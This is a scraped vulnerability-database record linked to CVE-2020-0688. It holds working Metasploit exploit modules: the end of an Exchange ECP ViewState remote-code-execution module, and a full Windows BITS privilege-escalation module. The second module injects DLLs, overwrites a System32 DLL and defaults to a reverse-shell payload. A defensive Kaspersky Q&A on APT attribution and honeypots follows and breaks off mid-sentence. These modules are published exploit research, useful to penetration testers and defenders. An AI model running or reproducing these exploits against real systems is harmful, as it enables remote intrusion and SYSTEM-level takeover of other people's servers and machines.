\nmac_key_bytes << Rex::Text.to_unicode(session_id) \nOpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), VALIDATION_KEY, viewstate + mac_key_bytes) \nend \n \ndef exploit \nstate = get_request_setup \n \n# the major limit is the max length of a GET request, the command will be \n# XML escaped and then base64 encoded which both increase the size \nif target.arch.first == ARCH_CMD \nexecute_command(payload.encoded, opts={state: state}) \nelse \ncmd_target = targets.select { |target| target.arch.include? ARCH_CMD }.first \nexecute_cmdstager({linemax: cmd_target.opts['Space'], delay: datastore['CMDSTAGER::DELAY'], state: state}) \nend \nend \n \ndef execute_command(cmd, opts) \nstate = opts[:state] \nviewstate = generate_viewstate(state[:viewstate_generator], state[:session_id], cmd) \n5.times do |iteration| \n# this request *must* be a GET request, can't use POST to use a larger viewstate \nsend_request_cgi({ \n'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'), \n'cookie' => state[:cookies].join(''), \n'agent' => state[:user_agent], \n'vars_get' => { \n'__VIEWSTATE' => viewstate, \n'__VIEWSTATEGENERATOR' => state[:viewstate_generator] \n} \n}) \nbreak \nrescue Rex::ConnectionError, Errno::ECONNRESET => e \nvprint_warning('Encountered a connection error while sending the command, sleeping before retrying') \nsleep iteration \nend \nend \n \ndef get_request_setup \n# need to use a newer default user-agent than what Metasploit currently provides \n# see: https://docs.microsoft.com/en-us/microsoft-edge/web-platform/user-agent-string \nuser_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.74 Safari/537.36 Edg/79.0.309.43' \nres = send_request_cgi({ \n'uri' => normalize_uri(target_uri.path, 'owa', 'auth.owa'), \n'method' => 'POST', \n'agent' => user_agent, \n'vars_post' => { \n'password' => datastore['PASSWORD'], \n'flags' => '4', \n'destination' => full_uri(normalize_uri(target_uri.path, 'owa')), \n'username' => datastore['USERNAME'] \n} \n}) \nfail_with(Failure::Unreachable, 'The initial HTTP request to the server failed') if res.nil? \ncookies = [res.get_cookies] \n \nres = send_request_cgi({ \n'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'), \n'cookie' => res.get_cookies, \n'agent' => user_agent \n}) \nfail_with(Failure::UnexpectedReply, 'Failed to get the __VIEWSTATEGENERATOR page') unless res && res.code == 200 \ncookies << res.get_cookies \n \nviewstate_generator = res.body.scan(/id=\"__VIEWSTATEGENERATOR\"\\s+value=\"([a-fA-F0-9]{8})\"/).flatten[0] \nif viewstate_generator.nil? \nprint_warning(\"Failed to find the __VIEWSTATEGENERATOR, using the default value: #{DEFAULT_VIEWSTATE_GENERATOR}\") \nviewstate_generator = DEFAULT_VIEWSTATE_GENERATOR \nelse \nvprint_status(\"Recovered the __VIEWSTATEGENERATOR: #{viewstate_generator}\") \nend \n \nviewstate = res.body.scan(/id=\"__VIEWSTATE\"\\s+value=\"([a-zA-Z0-9\\+\\/]+={0,2})\"/).flatten[0] \nif viewstate.nil? \nvprint_warning('Failed to find the __VIEWSTATE value') \nend \n \nsession_id = res.get_cookies.scan(/ASP\\.NET_SessionId=([\\w\\-]+);/).flatten[0] \nif session_id.nil? \nfail_with(Failure::UnexpectedReply, 'Failed to get the ASP.NET_SessionId from the response cookies') \nend \nvprint_status(\"Recovered the ASP.NET_SessionID: #{session_id}\") \n \n{user_agent: user_agent, cookies: cookies, viewstate: viewstate, viewstate_generator: viewstate_generator, session_id: session_id} \nend \nend \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/156620/exchange_ecp_viewstate.rb.txt", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-06-12T01:33:20", "description": "", "cvss3": {}, "published": "2020-06-11T00:00:00", "type": "packetstorm", "title": "Background Intelligent Transfer Service Privilege Escalation", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2020-0688", "CVE-2020-0787"], "modified": "2020-06-11T00:00:00", "id": "PACKETSTORM:158056", "href": "https://packetstormsecurity.com/files/158056/Background-Intelligent-Transfer-Service-Privilege-Escalation.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Local \nRank = ExcellentRanking \n \ninclude Msf::Post::Windows::Priv \ninclude Msf::Exploit::EXE # Needed for generate_payload_dll \ninclude Msf::Post::Windows::FileSystem \ninclude Msf::Post::Windows::ReflectiveDLLInjection \ninclude Msf::Exploit::FileDropper \ninclude Msf::Post::File \ninclude Msf::Exploit::Remote::AutoCheck \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'Background Intelligent Transfer Service Arbitrary File Move Privilege Elevation Vulnerability', \n'Description' => %q{ \nThis module exploits CVE-2020-0787, an arbitrary file move vulnerability in outdated versions of the \nBackground Intelligent Transfer Service (BITS), to overwrite C:\\Windows\\System32\\WindowsCoreDeviceInfo.dll \nwith a malicious DLL containing the attacker's payload. \n \nTo achieve code execution as the SYSTEM user, the Update Session Orchestrator service is then started, which \nwill result in the malicious WindowsCoreDeviceInfo.dll being run with SYSTEM privileges due to a DLL hijacking \nissue within the Update Session Orchestrator Service. \n \nNote that presently this module only works on Windows 10 and Windows Server 2016 and later as the \nUpdate Session Orchestrator Service was only introduced in Windows 10. Note that only Windows 10 has been tested, \nso your mileage may vary on Windows Server 2016 and later. \n}, \n'License' => MSF_LICENSE, \n'Author' => \n[ \n'itm4n', # PoC \n'gwillcox-r7' # msf module \n], \n'Platform' => ['win'], \n'SessionTypes' => ['meterpreter'], \n'Privileged' => true, \n'Arch' => [ARCH_X86, ARCH_X64], \n'Targets' => \n[ \n[ 'Windows DLL Dropper', { 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :windows_dropper } ], \n], \n'DefaultTarget' => 0, \n'DisclosureDate' => '2020-03-10', \n'References' => \n[ \n['CVE', '2020-0787'], \n['URL', 'https://itm4n.github.io/cve-2020-0787-windows-bits-eop/'], \n['URL', 'https://github.com/itm4n/BitsArbitraryFileMove'], \n['URL', 'https://attackerkb.com/assessments/e61cfec0-d766-4e7e-89f7-5aad2460afb8'], \n['URL', 'https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html'], \n['URL', 'https://itm4n.github.io/usodllloader-part1/'], \n['URL', 'https://itm4n.github.io/usodllloader-part2/'], \n], \n'Notes' => \n{ \n'SideEffects' => [ ARTIFACTS_ON_DISK ], \n'Reliability' => [ REPEATABLE_SESSION ], \n'Stability' => [ CRASH_SAFE ] \n}, \n'DefaultOptions' => \n{ \n'EXITFUNC' => 'thread', \n'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp', \n'WfsDelay' => 900 \n} \n) \n) \n \nregister_options([ \nOptBool.new('OVERWRITE_DLL', [true, 'Overwrite WindowsCoreDeviceInfo.dll if it exists (false by default).', false]), \nOptInt.new('JOB_WAIT_TIME', [true, 'Time to wait for the BITS job to complete before starting the USO service to execute the uploaded payload, in seconds', 20]) \n]) \nend \n \ndef target_not_presently_supported \nprint_warning('This target is not presently supported by this exploit. Support may be added in the future!') \nprint_warning('Attempts to exploit this target with this module WILL NOT WORK!') \nend \n \ndef check \nsysinfo_value = sysinfo['OS'] \n \nif sysinfo_value !~ /windows/i \n# Non-Windows systems are definitely not affected. \nreturn CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!') \nend \n \n# XXX Using session.shell_command_token over cmd_exec() here as @wvu-r7 noticed cmd_exec() was broken under some situations. \nbuild_num_raw = session.shell_command_token('cmd.exe /c ver') \nbuild_num = build_num_raw.match(/\\d+\\.\\d+\\.\\d+\\.\\d+/) \nif build_num.nil? \nprint_error(\"Couldn't retrieve the target's build number!\") \nelse \nbuild_num = build_num_raw.match(/\\d+\\.\\d+\\.\\d+\\.\\d+/)[0] \nprint_status(\"Target's build number: #{build_num}\") \nend \n \n# see https://docs.microsoft.com/en-us/windows/release-information/ \nunless sysinfo_value =~ /(7|8|8\\.1|10|2008|2012|2016|2019|1803|1903)/ \nreturn CheckCode::Safe('Target is not running a vulnerable version of Windows!') \nend \n \nbuild_num_gemversion = Gem::Version.new(build_num) \n \n# Build numbers taken from https://www.qualys.com/research/security-alerts/2020-03-10/microsoft/ \nif (build_num_gemversion >= Gem::Version.new('10.0.18363.0')) && (build_num_gemversion < Gem::Version.new('10.0.18363.719')) # Windows 10 v1909 \nreturn CheckCode::Appears('Vulnerable Windows 10 v1909 build detected!') \nelsif (build_num_gemversion >= Gem::Version.new('10.0.18362.0')) && (build_num_gemversion < Gem::Version.new('10.0.18362.719')) # Windows 10 v1903 \nreturn CheckCode::Appears('Vulnerable Windows 10 v1903 build detected!') \nelsif (build_num_gemversion >= Gem::Version.new('10.0.17763.0')) && (build_num_gemversion < Gem::Version.new('10.0.17763.1098')) # Windows 10 v1809 \nreturn CheckCode::Appears('Vulnerable Windows 10 v1809 build detected!') \nelsif (build_num_gemversion >= Gem::Version.new('10.0.17134.0')) && (build_num_gemversion < Gem::Version.new('10.0.17134.1365')) # Windows 10 v1803 \nreturn CheckCode::Appears('Vulnerable Windows 10 v1803 build detected!') \nelsif (build_num_gemversion >= Gem::Version.new('10.0.16299.0')) && (build_num_gemversion < Gem::Version.new('10.0.16299.1747')) # Windows 10 v1709 \nreturn CheckCode::Appears('Vulnerable Windows 10 v1709 build detected!') \nelsif (build_num_gemversion >= Gem::Version.new('10.0.15063.0')) && (build_num_gemversion < Gem::Version.new('10.0.15063.2313')) # Windows 10 v1703 \nreturn CheckCode::Appears('Vulnerable Windows 10 v1703 build detected!') \nelsif (build_num_gemversion >= Gem::Version.new('10.0.14393.0')) && (build_num_gemversion < Gem::Version.new('10.0.14393.3564')) # Windows 10 v1607 \nreturn CheckCode::Appears('Vulnerable Windows 10 v1607 build detected!') \nelsif (build_num_gemversion >= Gem::Version.new('10.0.10586.0')) && (build_num_gemversion < Gem::Version.new('10.0.10586.9999999')) # Windows 10 v1511 \nreturn CheckCode::Appears('Vulnerable Windows 10 v1511 build detected!') \nelsif (build_num_gemversion >= Gem::Version.new('10.0.10240.0')) && (build_num_gemversion < Gem::Version.new('10.0.10240.18519')) # Windows 10 v1507 \nreturn CheckCode::Appears('Vulnerable Windows 10 v1507 build detected!') \nelsif (build_num_gemversion >= Gem::Version.new('6.3.9600.0')) && (build_num_gemversion < Gem::Version.new('6.3.9600.19665')) # Windows 8.1/Windows Server 2012 R2 \ntarget_not_presently_supported \nreturn CheckCode::Appears('Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!') \nelsif (build_num_gemversion >= Gem::Version.new('6.2.9200.0')) && (build_num_gemversion < Gem::Version.new('6.2.9200.23009')) # Windows 8/Windows Server 2012 \ntarget_not_presently_supported \nreturn CheckCode::AppearsAppears('Vulnerable Windows 8/Windows Server 2012 build detected!') \nelsif (build_num_gemversion >= Gem::Version.new('6.1.7600.0')) && (build_num_gemversion < Gem::Version.new('6.1.7601.24549')) # Windows 7/Windows Server 2008 R2 \ntarget_not_presently_supported \nreturn CheckCode::Appears('Vulnerable Windows 7/Windows Server 2008 R2 build detected!') \nelsif (build_num_gemversion >= Gem::Version.new('6.0.6001.0')) && (build_num_gemversion < Gem::Version.new('6.0.6003.20749')) # Windows Server 2008/Windows Server 2008 SP2 \ntarget_not_presently_supported \nreturn CheckCode::Appears('Windows Server 2008/Windows Server 2008 SP2 build detected!') \nelse \nreturn CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!') \nend \nend \n \ndef check_target_is_running_supported_windows_version \nif sysinfo['OS'].match('Windows').nil? \nfail_with(Failure::NotVulnerable, 'Target is not running Windows!') \nelsif sysinfo['OS'].match('Windows 10').nil? && sysinfo['OS'].match('Windows Server 2016').nil? && sysinfo['OS'].match('Windows Server 2019').nil? \nfail_with(Failure::BadConfig, 'Target is running Windows, its not a version this module supports! Bailing...') \nend \nend \n \ndef check_target_and_payload_match_and_supported(client_arch) \nif (client_arch != ARCH_X64) && (client_arch != ARCH_X86) \nfail_with(Failure::BadConfig, 'This exploit currently only supports x86 and x64 targets!') \nend \npayload_arch = payload.arch.first # TODO: Add missing documentation for payload.arch, @wvu used this first but it is not documented anywhere. \nif (payload_arch != ARCH_X64) && (payload_arch != ARCH_X86) \nfail_with(Failure::BadConfig, \"Unsupported payload architecture (#{payload_arch})\") # Unsupported architecture, so return an error. \nend \nif ((client_arch == ARCH_X64) && (payload_arch != ARCH_X64)) || ((client_arch == ARCH_X86) && (payload_arch != ARCH_X86)) \nfail_with(Failure::BadConfig, \"Payload architecture (#{payload_arch}) doesn't match the architecture of the target (#{client_arch})!\") \nend \nend \n \ndef check_windowscoredeviceinfo_dll_exists_on_target \n# Taken from bwatters-r7's cve-2020-0688_service_tracing.rb code. \n# \n# We are going to overwrite the WindowsCoreDeviceInfo.dll DLL as part of our exploit. \n# The second part of this exploit will trigger a Update Session to be created so that this DLL \n# is loaded, which will result in arbitrary code execution as SYSTEM. \n# \n# To prevent any errors, we will first check that this file doesn't exist and ask the user if they are sure \n# that they want to overwrite the file. \nwin_dir = session.sys.config.getenv('windir') \nnormal_target_payload_pathname = \"#{win_dir}\\\\System32\\\\WindowsCoreDeviceInfo.dll\" \nwow64_target_payload_pathname = \"#{win_dir}\\\\Sysnative\\\\WindowsCoreDeviceInfo.dll\" \nwow64_existing_file = \"#{win_dir}\\\\Sysnative\\\\win32k.sys\" \nif file?(wow64_existing_file) \nif file?(wow64_target_payload_pathname) \nprint_warning(\"#{wow64_target_payload_pathname} already exists\") \nprint_warning('If it is in use, the overwrite will fail') \nunless datastore['OVERWRITE_DLL'] \nprint_error('Change OVERWRITE_DLL option to true if you would like to proceed.') \nfail_with(Failure::BadConfig, \"#{wow64_target_payload_pathname} already exists and OVERWRITE_DLL option is false\") \nend \nend \ntarget_payload_pathname = wow64_target_payload_pathname \nelsif file?(normal_target_payload_pathname) \nprint_warning(\"#{normal_target_payload_pathname} already exists\") \nprint_warning('If it is in use, the overwrite will fail') \nunless datastore['OVERWRITE_DLL'] \nprint_error('Change OVERWRITE_DLL option to true if you would like to proceed.') \nfail_with(Failure::BadConfig, \"#{normal_target_payload_pathname} already exists and OVERWRITE_DLL option is false\") \nend \ntarget_payload_pathname = normal_target_payload_pathname \nend \ntarget_payload_pathname \nend \n \ndef launch_background_injectable_notepad \nprint_status('Launching notepad to host the exploit...') \nnotepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true) \nprocess = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) \nprint_good(\"Process #{process.pid} launched.\") \nprocess \nrescue Rex::Post::Meterpreter::RequestError \n# Sandboxes could not allow to create a new process \n# stdapi_sys_process_execute: Operation failed: Access is denied. \nprint_error('Operation failed. Trying to elevate the current process...') \nprocess = client.sys.process.open \nprocess \nend \n \ndef exploit \n# NOTE: Automatic check is implemented by the AutoCheck mixin \nsuper \n \n# Step 1: Check target environment is correct. \nprint_status('Step #1: Checking target environment...') \nif is_system? \nfail_with(Failure::None, 'Session is already elevated') \nend \nclient_arch = sysinfo['Architecture'] \ncheck_target_is_running_supported_windows_version \ncheck_target_and_payload_match_and_supported(client_arch) \ncheck_windowscoredeviceinfo_dll_exists_on_target \n \n# Step 2: Generate the malicious DLL and upload it to a temp location. \nprint_status('Step #2: Generating the malicious DLL...') \npath = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2020-0787') \ndatastore['EXE::Path'] = path \nif client_arch =~ /x86/i \ndatastore['EXE::Template'] = ::File.join(path, 'template_x86_windows.dll') \nlibrary_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2020-0787', 'CVE-2020-0787.x86.dll') \nlibrary_path = ::File.expand_path(library_path) \nelsif client_arch =~ /x64/i \ndatastore['EXE::Template'] = ::File.join(path, 'template_x64_windows.dll') \nlibrary_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2020-0787', 'CVE-2020-0787.x64.dll') \nlibrary_path = ::File.expand_path(library_path) \nend \n \npayload_dll = generate_payload_dll \nprint_status(\"Payload DLL is #{payload_dll.length} bytes long\") \ntemp_directory = session.sys.config.getenv('%TEMP%') \nmalicious_dll_location = \"#{temp_directory}\\\\\" + Rex::Text.rand_text_alpha(6..13) + '.dll' \nwrite_file(malicious_dll_location, payload_dll) \nregister_file_for_cleanup(malicious_dll_location) \n \n# Step 3: Load the main DLL that will trigger the exploit and conduct the arbitrary file copy. \nprint_status('Step #3: Loading the exploit DLL to run the main exploit...') \nprocess = launch_background_injectable_notepad \n \nprint_status(\"Injecting DLL into #{process.pid}...\") \nexploit_mem, offset = inject_dll_into_process(process, library_path) \n \ndll_info_parameter = malicious_dll_location.to_s \npayload_mem = inject_into_process(process, dll_info_parameter) \n \n# invoke the exploit, passing in the address of the payload that \n# we want invoked on successful exploitation. \nprint_status('DLL injected. Executing injected DLL...') \nprocess.thread.create(exploit_mem + offset, payload_mem) \n \nprint_status(\"Sleeping for #{datastore['JOB_WAIT_TIME']} seconds to allow the exploit to run...\") \nsleep datastore['JOB_WAIT_TIME'] \n \nregister_file_for_cleanup('C:\\\\Windows\\\\System32\\\\WindowsCoreDeviceInfo.dll') # Register this file for cleanup so that if we fail, then the file is cleaned up. \n# Normally we can't delete this file though as there will be a SYSTEM service that has a handle to this file. \n \nprint_status(\"Starting the interactive scan job...\") \n# Step 4: Execute `usoclient StartInteractiveScan` to trigger the payload \n# XXX Using session.shell_command_token over cmd_exec() here as @wvu-r7 noticed cmd_exec() was broken under some situations. \nsession.shell_command_token('usoclient StartInteractiveScan') \n \nprint_status(\"Enjoy the shell!\") \nend \nend \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/158056/cve_2020_0787_bits_arbitrary_file_move.rb.txt", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "securelist": [{"lastseen": "2020-08-07T08:03:43", "description": "\n\nOn June 17, we hosted our first "GReAT Ideas. Powered by SAS" session, in which several experts from our Global Research and Analysis Team shared insights into APTs and threat actors, attribution, and hunting IoT threats.\n\nHere is a brief summary of the agenda from that webinar:\n\n * Linking attacks to threat actors: case studies by Kurt Baumgartner\n * Threat hunting with Kaspersky's new malware attribution engine by Costin Raiu\n * Microcin-2020: GitLab programmers ban, async sockets and the sock by Denis Legezo\n * The next generation IoT honeypots by Dan Demeter, Marco Preuss, and Yaroslav Shmelev\n\nSadly, the two hours of the session were not enough for answering all of the questions raised, therefore we try to answer them below. Thanks to everyone who participated, and we appreciate all the feedback and ideas!\n\n## Questions about threat actors and APTs\n\n 1. _How do you see Stonedrill deployment comparing now? Its discovery was based on lucky structural similarities with Shamoon, but do you see it actively used or correlating to the spread of this malware?_\n\nThere is some 2020 activity that looks like it could be Stonedrill related, but, in all likelihood, it is not. We are digging through details and trying to make sense of the data. Regardless, wiper activity in the Middle East region from late 2019 into early 2020 deployed code dissimilar to Stonedrill but more similar to Shamoon wipers. We stuck with the name "Dustman" \u2013 it implemented the Eldos ElRawDsk drivers. Its spread did not seem Stonedrill related.\n\nAt the same time, no, the Stonedrill discovery was not based on luck. And, there are multiple overlaps between Shamoon 2.0 and Stonedrill that you may review under "Download full report" in '[From Shamoon to StoneDrill](<https://securelist.com/from-shamoon-to-stonedrill/77725/>)' blogpost. You might note that Stonedrill is a somewhat more refined and complex code, used minimally.\n\nWhile the Shamoon spreader shared equivalent code with Orangeworm's Kwampirs spreader, and are closely linked, we have not seen the same level of similarity with Stonedrill. However, several of the Shamoon 2.0 executables share quite a few unique genotypes with both Stonedrill and Kwampirs. In the above paper, we conclude that Stonedrill and Shamoon are most likely spread by two separate groups with aligned interests for reasons explained in the report PDF. Also, it may be that some of the codebase, or some of the resources providing the malware, are shared.\n 2. _Do the authors of Shamoon watch these talks?_\n\nPerhaps. We know that not only do offensive actors and criminals attempt to reverse-engineer and evade our technologies, but they attempt to attack and manipulate them over time. Attending a talk or downloading a video later is probably of interest to any group.\n 3. _Are there any hacker-for-hire groups that are at the top level? How many hacker-for-hire groups do you see? Are there any hacker-for-hire groups coming out of the West?_\n\nYes. There are very capable and experienced hack-for-hire groups that have operated for years. We do not publicly report on all of them, but some come up in the news every now and then. At the beginning of 2019, Reuters reported insightful content on a top-level mercenary group and their Project Raven in the Middle East, for example. Their coordination, technical sophistication and agile capabilities were all advanced. In addition to the reported challenges facing the Project Raven group, some of these mercenaries may be made up of a real global mix of resources, presenting moral and ethical challenges.\n 4. _I assume Sofacy watches these presentations. Has their resistance to this analysis changed over time?_\n\nAgain, perhaps they do watch. In all likelihood, what we call "Sofacy" is paying attention to our research and reporting like all the other players.\n\nSofacy is an interesting case as far as their resistance to analysis: their main backdoor, SPLM/CHOPSTICK/X-Agent, was modular and changed a bit over the course of several years, but much of that code remained the same. Every executable they pushed included a modified custom encryption algorithm to hide away configuration data if it was collected. So, they were selectively resistant to analysis. Other malware of theirs, X-Tunnel, was re-coded in .Net, but fundamentally, it is the same malware. They rotated through other malware that seems to have been phased out and may be re-used at some point.\n\nThey are a prolific and highly active APT. They added completely new downloaders and other new malware to their set. They put large efforts into non-executable-based efforts like various credential harvesting techniques. So, they have always been somewhat resistant to analysis, but frequently leave hints in infrastructure and code across all those efforts.\n\nZebrocy, a subset of Sofacy, pushed malware with frequent changes by recoding their malware in multiple languages, but often maintain similar or the same functionality over the course of releases and re-releases. This redevelopment in new and often uncommon languages can be an issue, but something familiar will give it away.\n 5. _Have we seen a trend for target countries to pick up and use tools/zero-days/techniques from their aggressors? Like, is Iran more likely to use Israeli code, and vice versa?_\n\nFor the most part, no, we don't see groups repurposing code potentially only known to their adversary and firing it right back at them, likely because the adversary knows how to, and probably is going to watch for blowback.\n\nTangentially, code reuse isn't really a trend, because offensive groups have always picked up code and techniques from their adversaries, whether or not these are financially motivated cybercriminal groups or APT. And while we have mentioned groups "returning fire" in the past, like Hellsing [returning spear-phish](<https://securelist.com/the-chronicles-of-the-hellsing-apt-the-empire-strikes-back/69567/>) on the Naikon APT, a better example of code appropriation is VictorianSambuca or Bemstour. We talked about it at our T3 gathering in Cancun in October. It was malware containing an interesting zero-day exploit that was collected, re-purposed, touched up and re-deployed by APT3, HoneyMyte and others. But as far as we know, the VictorianSambuca package was picked up and used against targets other than its creator.\n\nAlso, somewhere in the Darkhotel/Lazarus malware sets, there may be some code blowback, but those details haven't yet been hammered out. So, it does happen here and there, maybe out of necessity, maybe to leave a calling card and shout-out, or to confuse matters.\n 6. _If using API-style programming makes it easier to update malware, why don't more threat actors use it?_\n\nI think here we are talking about Microcin last-stage trojan exported function callbacks. Nobody could tell for sure, but from my point of view, it's a matter of the programmer's experience. The "senior" one takes a lot into consideration during development, including architectural approach, which could make maintenance easier in the future.\n\nThe "junior" one just solves the trojan's main tasks: spying capabilities, adds some anti-detection, anti-analysis tricks, and it's done. So maybe if the author has "normal" programming experience, he carefully planned data structures, software architecture. Seems like not all of the actors have developers like that.\n 7. _Have you seen proxying/tunneling implants using IOTs for APT operations, such as the use of SNMP by CloudAtlas? Do you think that's a new way to penetrate company networks? Have you ever encountered such cases?_\n\nWe watched the massive Mirai botnets for a couple years, waiting to see an APT takeover or repurposing, and we didn't find evidence that it happened. Aside from that, yes, APT are known to have tunneled through a variety of IOT to reach their intended targets. IOT devices like security web cams and their associated network requirements need to be hardened and reviewed, as their network connections may lead to an unintended exposure of internal resources.\n\nWith elections around the world going on, municipalities and government agencies contracting with IT companies need to verify attack surface hardening and understand that everything, from their Internet-connected parking meters to connected light bulbs, can be part of a targeted attack, or be misused as a part of an incident.\n 8. _How often do you see steganography like this being used by other actors? Any other examples?_\n\nSteganography isn't used exclusively by the SixLittleMonkeys actor for sure. We could also mention here such malware as NetTraveller, Triton, Shamoon, Enfal, etc. So, generally, we could say the percentage of steganography usage among all the malicious samples is quite low, but it happens from time to time.\n\nThe main reason to use it from malefactors' point of view is to conceal not just the data itself but the fact that data is being uploaded or downloaded. E.g. it could help to bypass deep packet inspection (DPI) systems, which is relevant for corporate security perimeters. Use of steganography may also help bypass security checks by anti-APT products, if the latter cannot process all image files.\n\n## Questions about KTAE (Kaspersky Threat Attribution Engine)\n\nFor more information, please also have a look at our previous blogpost, [Looking at Big Threats Using Code Similarity. Part 1](<https://securelist.com/big-threats-using-code-similarity-part-1/97239/>), as well as at our [product page](<https://www.kaspersky.com/enterprise-security/cyber-attack-attribution-tool>).\n\n 9. _What are "genotypes"?_ \nGenotypes are unique fragments of code, extracted from a malware sample.\n 10. _How fine-grained do you attribute the binaries? Can you see shared authors among the samples?_ \nKTAE does not include author information per se. You can see shared relevant code and strings overlaps.\n 11. _Are genotypes and YARA rules connected?_ \nNot directly. But you can use genotypes to create effective YARA rules, since the YARA engine allows you to search for byte sequences.\n 12. _How many efforts do you see for groups to STEAL+REUSE attribution traces on purpose?_ \nWe have seen such efforts and reported about them, for example with [OlympicDestroyer](<https://securelist.com/olympicdestroyer-is-here-to-trick-the-industry/84295/>)\n 13. _How do you go about removing third-party code sharing?_ \nWe incorporated our own intelligence to only match on relevant parts of the samples.\n 14. _Do genotypes work on different architectures, like MIPS, ARM, etc.? I'm thinking about IoT malware._ \nYes, they work with any architecture.\n 15. _What determines your "groundtruth"?_ \nGroundtruth is a collection of samples based on our 20+ years of research and classification of malware.\n 16. _Can KATE be implemented in-house?_ \nWe offer multiple options for deploying KTAE. Please get in touch with us for more info: https://www.kaspersky.com/enterprise-security/cyber-attack-attribution-tool.\n 17. _For the attribution engine, would you expect APT-group malware authors to start integrating more external code chunks from other groups to try to evade attribution?_ \nWe see such behavior; please refer to Question 12 above.\n 18. _Do you feel more manufacturers will follow Kaspersky's suit in letting victims know the threat actors behind malware detections on endpoints?_ \nAt the moment, KTAE is a standalone solution not integrated in endpoints.\n 19. _What is the parameter for looking at the similarity in malware code? Strings? Packer? Code? What else?_ \nKTAE uses genotypes to match similarities.\n 20. _How do I make a difference, if for example, I am a threat actor and reuse the code form some APT Group? How to define it is really the same actor and not just an impersonator who used the same code or malware, or reused the malware for my operation?_ \nKTAE handles code similarities for malware samples to provide relevant information on that basis. Further information to be used for attribution may be TTPs, etc. for which you may find our [Kaspersky Threat Intelligence Services](<https://www.kaspersky.com/enterprise-security/threat-intelligence>) helpful.\n 21. _I guess the follow-up is,- will they be able to evade the attribution after watching these webinars, learning about the attribution engine?_ \nIt's known that such techniques can be used to do technical attribution on malware-sample basis. Attempts at evading these would mean knowing all the details and metrics and database entries (including updates) to check against something rather complex and difficult.\n 22. _Can you start taking the samples submitted by CYBERCOM and just post publicly what KTAE says in the future?_ \nWe are posting certain interesting findings, e.g. on Twitter.\n 23. _How do we buy KTAE? Is it a private instance in our own org or hosted by you?_ \nWe offer multiple options for deploying KTAE. Please get in touch with us for more info: https://www.kaspersky.com/enterprise-security/cyber-attack-attribution-tool.\n 24. _Can you expand on how you identify a genotype and determine that it is unique?_ \nGenotypes are unique fragments of code, extracted from a malware sample. As for uniqueness, there is a good reference: the Fruit Ninja Game. We played Fruit Ninja and extracted (sliced) genotypes from all good programs that are known to us, then we did the same with malicious samples and samples marked as APTs. After that operation, we knew all genotypes that belonged to good programs and removed them from the databases that belonged to bad ones. We also save the numbers of times genotypes appear in the samples, so we can identify the really unique stuff.\n 25. _How many zero-day vendors do you see with this engine?_ \nKTAE is not handling vulnerabilities but only code fragments and such, for similarity checks.\n 26. _In the future, do you see a product like KTAE being integrated into security offerings from Kaspersky, so that samples can be automatically scanned when detected as an alert, as opposed to individually uploading them?_ \nWe are planning to do cross-product integration.\n 27. _Have you run The Shadowbrokers samples through KTAE and if so, were there any unexpected overlaps?_ \nYes, we did. We found an overlap between Regin samples and cnli-1.dll\n 28. _Could it be easy for a threat actor to change code to avoid KTAE identification?_ \nTheoretically, yes. Assuming they produce never-before-seen genotypes, KTAE might miss classifying that malware. With that being said, generating completely new genotypes requires a lot of time and money, plus a lot of careful work. We wish threat actors good luck with that. \ud83d\ude42\n 29. _When you attribute a campaign, do you also consider some aspects relating to sociopolitical events?_ \nAt Kaspersky, we only do technical attribution, such as based on similarities in malware samples or TTPs of groups; we don't do attribution on any entity, geopolitical or social level.\n\n## Questions about IoT threats and honeypots\n\nIf you want to join our honeypot project, please get in touch with us at honeypots@kaspersky.com.\n\n 30. _Do you have any IoT dataset available for academia?_ \nPlease get in touch with us via our email address listed above (honeypots@kaspersky.com).\n 31. _How does a system choose which honeypots to direct an attack at?_ \nWe developed this modular and flexible infrastructure with defined policies to handle that automatically, based on the attack.\n 32. _Okay, so, soon, IoT malware will do a vmcheck before it loads\u2026. Then what?_ \nIn our honeypots, we use our own methods to defeat anti-VM checks. Depending on future development of malware, we are also prepared to adjust these to match actual vmcheck methods.\n 33. _Do the honeypots support threat intelligence formats like STIX and TAXII?_ \nCurrently, such a feature is not available yet. If there is interest, we can implement this to improve the use for our partners.\n 34. _Can anyone partner with you guys? Or do they need certain visibility or infrastructure to help out?_ \nAnyone with a spare IP-address and able to host a Linux system to receive attacks can participate. Please get in touch with us at honeypots[at]kaspersky[dot]com.\n\n## Questions about Kaspersky products and services\n\n 35. _What new technology has Kaspersky implemented in their endpoint product? As EDR is the latest emerging technology, has Kaspersky implemented it in their endpoint product?_ \nKaspersky Endpoint product contains EDR besides other cutting-edge technologies. There are more details listed here on [the product page](<https://www.kaspersky.com/enterprise-security/endpoint-product>).\n 36. _What do you think of the Microsoft Exchange Memory Corruption Vulnerability bug? How can Kaspersky save the host system in such attacks?_ \nWe should know the CVE number of the bug the question refers to. From what we know, one of "loud" bugs that was fixed recently was CVE-2020-0688. It is referenced [here](<https://support.microsoft.com/en-us/help/4536987/security-update-for-exchange-server-2019-and-2016>). We detect this vulnerability in our products using the Behavior Detection component with the verdict name: 